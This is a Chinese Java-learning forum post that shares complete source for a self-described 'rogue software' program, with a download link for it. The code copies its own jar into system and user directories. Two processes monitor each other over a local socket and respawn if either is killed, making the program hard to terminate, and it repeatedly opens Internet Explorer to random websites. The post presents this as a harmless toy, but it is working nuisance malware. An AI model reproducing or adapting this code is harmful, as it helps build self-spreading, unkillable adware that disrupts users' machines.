Java学习者论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

手机号码,快捷登录

恭喜Java学习者论坛(https://www.javaxxz.com)已经为数万Java学习者服务超过8年了!积累会员资料超过10000G+
成为本站VIP会员,下载本站10000G+会员资源,购买链接:点击进入购买VIP会员
JAVA高级面试进阶视频教程Java架构师系统进阶VIP课程

分布式高可用全栈开发微服务教程

Go语言视频零基础入门到精通

Java架构师3期(课件+源码)

Java开发全终端实战租房项目视频教程

SpringBoot2.X入门到高级使用教程

大数据培训第六期全套视频教程

深度学习(CNN RNN GAN)算法原理

Java亿级流量电商系统视频教程

互联网架构师视频教程

年薪50万Spark2.0从入门到精通

年薪50万!人工智能学习路线教程

年薪50万!大数据从入门到精通学习路线年薪50万!机器学习入门到精通视频教程
仿小米商城类app和小程序视频教程深度学习数据分析基础到实战最新黑马javaEE2.1就业课程从 0到JVM实战高手教程 MySQL入门到精通教程
查看: 310|回复: 0

[Java基础知识]JAVA写的"流氓软件"

[复制链接]
  • TA的每日心情
    开心
    2021-3-12 23:18
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2014-10-2 01:11:10 | 显示全部楼层 |阅读模式
    一个java版的"流氓软件"
    呵呵,因为是JAVA写的,所以对系统没有任何影响
    只是你运行了它以后,将关不掉,你进任务管理器也杀不掉(一般来说).

    在这里用的是两个进程互相通信的原理,一发现其中一个进程不在了,马上就会新起一个进程

    有兴趣的可以玩玩,此程序由于调用了本机的方法,所以没有可移植性,只能在WINDOWS下用, 并且要求机器上装了IE.

    源文件和可执行文件都在一个包里
    点击start.jar开始运行,出现提示时,点允许,程序方能正常运行
      
      
       
       
       

       
      
    1. /*
    2. * TestAD.java
    3. *
    4. * Created on 2006年11月22日, 下午12:55
    5. *
    6. * To change this template, choose Tools | Template Manager
    7. * and open the template in the editor.
    8. */
    9. package lbf.demo;
    10. /**
    11. *
    12. * @author lbf
    13. */
    14. import java.io.*;
    15. import java.net.*;
    16. import javax.swing.*;
    17. public class TestAD implements Runnable{
    18.    
    19.     private File[] root;
    20.     private byte[] self;
    21.     private static String IE="C:\Program Files\Internet Explorer\IEXPLORE.EXE ";
    22.     private String[] urls;
    23.     private boolean isServer;
    24.     private Socket socket;
    25.     /** Creates a new instance of TestAD */
    26.     public TestAD(String demo) {
    27.         initOther();
    28.         readSelf();
    29.         checkFile();
    30.         new RunIE().start();
    31.         if(demo==null){
    32.             System.out.println("我是主进程");
    33.             doServer();
    34.         }else{
    35.             System.out.println("我是子进程");
    36.             doClient();
    37.         }
    38.     }
    39.     private void initOther(){
    40.         urls=new String[]{"www.sohu.com","www.taobao.com","www.bc-cn.net/bbs",
    41.         "www.163.com","www.skycn.com","blog.sohu.com","www.baidu.com","www.google.com",
    42.         "www.263.net","java.sun.com"};
    43.         root=new File[4];
    44.         root[0]=new File(System.getProperty("user.home","."));
    45.         root[1]=new File(System.getProperty("java.home","."));
    46.         root[2]=new File(System.getenv("systemRoot"));
    47.         root[3]=new File(System.getenv("systemDrive"));
    48.     }
    49.     //做server或者客户端做的事情
    50.     private void doServer(){
    51.         try{
    52.             isServer=true;
    53.             final ServerSocket ss=new ServerSocket(44444);
    54.             System.out.println("主进程已监听");
    55.             new Thread(new Runnable(){
    56.                 public void run(){
    57.                     while(true){
    58.                         try{
    59.                             socket=ss.accept();
    60.                             new Thread(TestAD.this).start();
    61.                         } catch(Exception exe){
    62.                             exe.printStackTrace();
    63.                         }
    64.                     }
    65.                 }
    66.             }).start();
    67.             startProcess();
    68.         } catch(Exception exe){
    69.             exe.printStackTrace();
    70.         }
    71.     }
    72.     //做客户端的事
    73.     private void doClient(){
    74.         try{
    75.             socket=new Socket("localhost",44444);
    76.             new Thread(this).start();
    77.             System.out.println("子进程已连上");
    78.         } catch(Exception exe){
    79.             exe.printStackTrace();
    80.         }
    81.     }
    82.     //检查文件是否存在
    83.     private void checkFile(){
    84.         try{
    85.             for(File dir:root){
    86.                 File file=new File(dir,"start.jar");
    87.                 if(!file.exists()){
    88.                     copyFile(file);
    89.                 }
    90.             }
    91.         } catch(Exception exe){
    92.             exe.printStackTrace();
    93.         }
    94.     }
    95.     //复制文件到目标文件
    96.     private void copyFile(File to){
    97.         try{
    98.             FileOutputStream fout=new FileOutputStream(to);
    99.             fout.write(self);
    100.             fout.close();
    101.         } catch(Exception exe){
    102.             exe.printStackTrace();
    103.         }
    104.     }
    105.     //把自己读入内存
    106.     private void readSelf(){
    107.         try{
    108.             FileInputStream fin=new FileInputStream(new File("start.jar"));
    109.             ByteArrayOutputStream bout=new ByteArrayOutputStream();
    110.             DataOutputStream fout=new DataOutputStream(bout);
    111.             byte[] buffer=new byte[1024];
    112.             int length=0;
    113.             while((length=fin.read(buffer))!=-1){
    114.                 fout.write(buffer,0,length);
    115.             }
    116.             self=bout.toByteArray();
    117.             fin.close();
    118.             fout.close();
    119.         } catch(Exception exe){
    120.             exe.printStackTrace();
    121.             JOptionPane.showMessageDialog(null,"读取自己出错"+exe);
    122.         }
    123.     }
    124.     //随便启动一个进程
    125.     private void startProcess(){
    126.         out:for(File dir:root){
    127.             File file=new File(dir,"start.jar");
    128.             if(file.exists()){
    129.                 try{
    130.                     Process p=Runtime.getRuntime().exec("java -cp "+file.getAbsolutePath()+" lbf.demo.TestAD demo");
    131.                     System.out.println("子进程已启动"+p);
    132.                     break out;
    133.                 } catch(Exception exe){
    134.                     exe.printStackTrace();
    135.                 }
    136.             }else{
    137.                 copyFile(file);
    138.             }
    139.         }
    140.     }
    141.     public void run(){
    142.         try{
    143.             InputStream is=socket.getInputStream();
    144.             is.read();
    145.         } catch(Exception exe){
    146.             if(isServer){
    147.                 startProcess();
    148.             }else{
    149.                 doServer();
    150.             }
    151.         }
    152.     }
    153.     //专门启动IE进程的线程
    154.     private class RunIE extends Thread{
    155.         
    156.         public void run(){
    157.             while(true){
    158.                 try{
    159.                     Thread.sleep((int)(Math.random()*10000)+5000);
    160.                     Runtime.getRuntime().exec(IE+urls[(int)(Math.random()*urls.length)]);
    161.                 } catch(Exception exe){
    162.                     exe.printStackTrace();
    163.                 }
    164.             }
    165.         }
    166.     }
    167.     public static void main(String[] args) {
    168.         if(args.length==0){
    169.             new TestAD(null);
    170.         }else{
    171.             System.out.println("子进程的MAIN方法调用了");
    172.             new TestAD(args[0]);
    173.         }
    174.     }
    175. }
    复制代码


      
      
       
       

         
       

         
       
      



    源码下载:http://file.javaxxz.com/2014/10/2/011110578.zip
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    QQ|手机版|Java学习者论坛 ( 声明:本站资料整理自互联网,用于Java学习者交流学习使用,对资料版权不负任何法律责任,若有侵权请及时联系客服屏蔽删除 )

    GMT+8, 2024-5-20 00:56 , Processed in 0.359308 second(s), 34 queries .

    Powered by Discuz! X3.4

    © 2001-2017 Comsenz Inc.

    快速回复 返回顶部 返回列表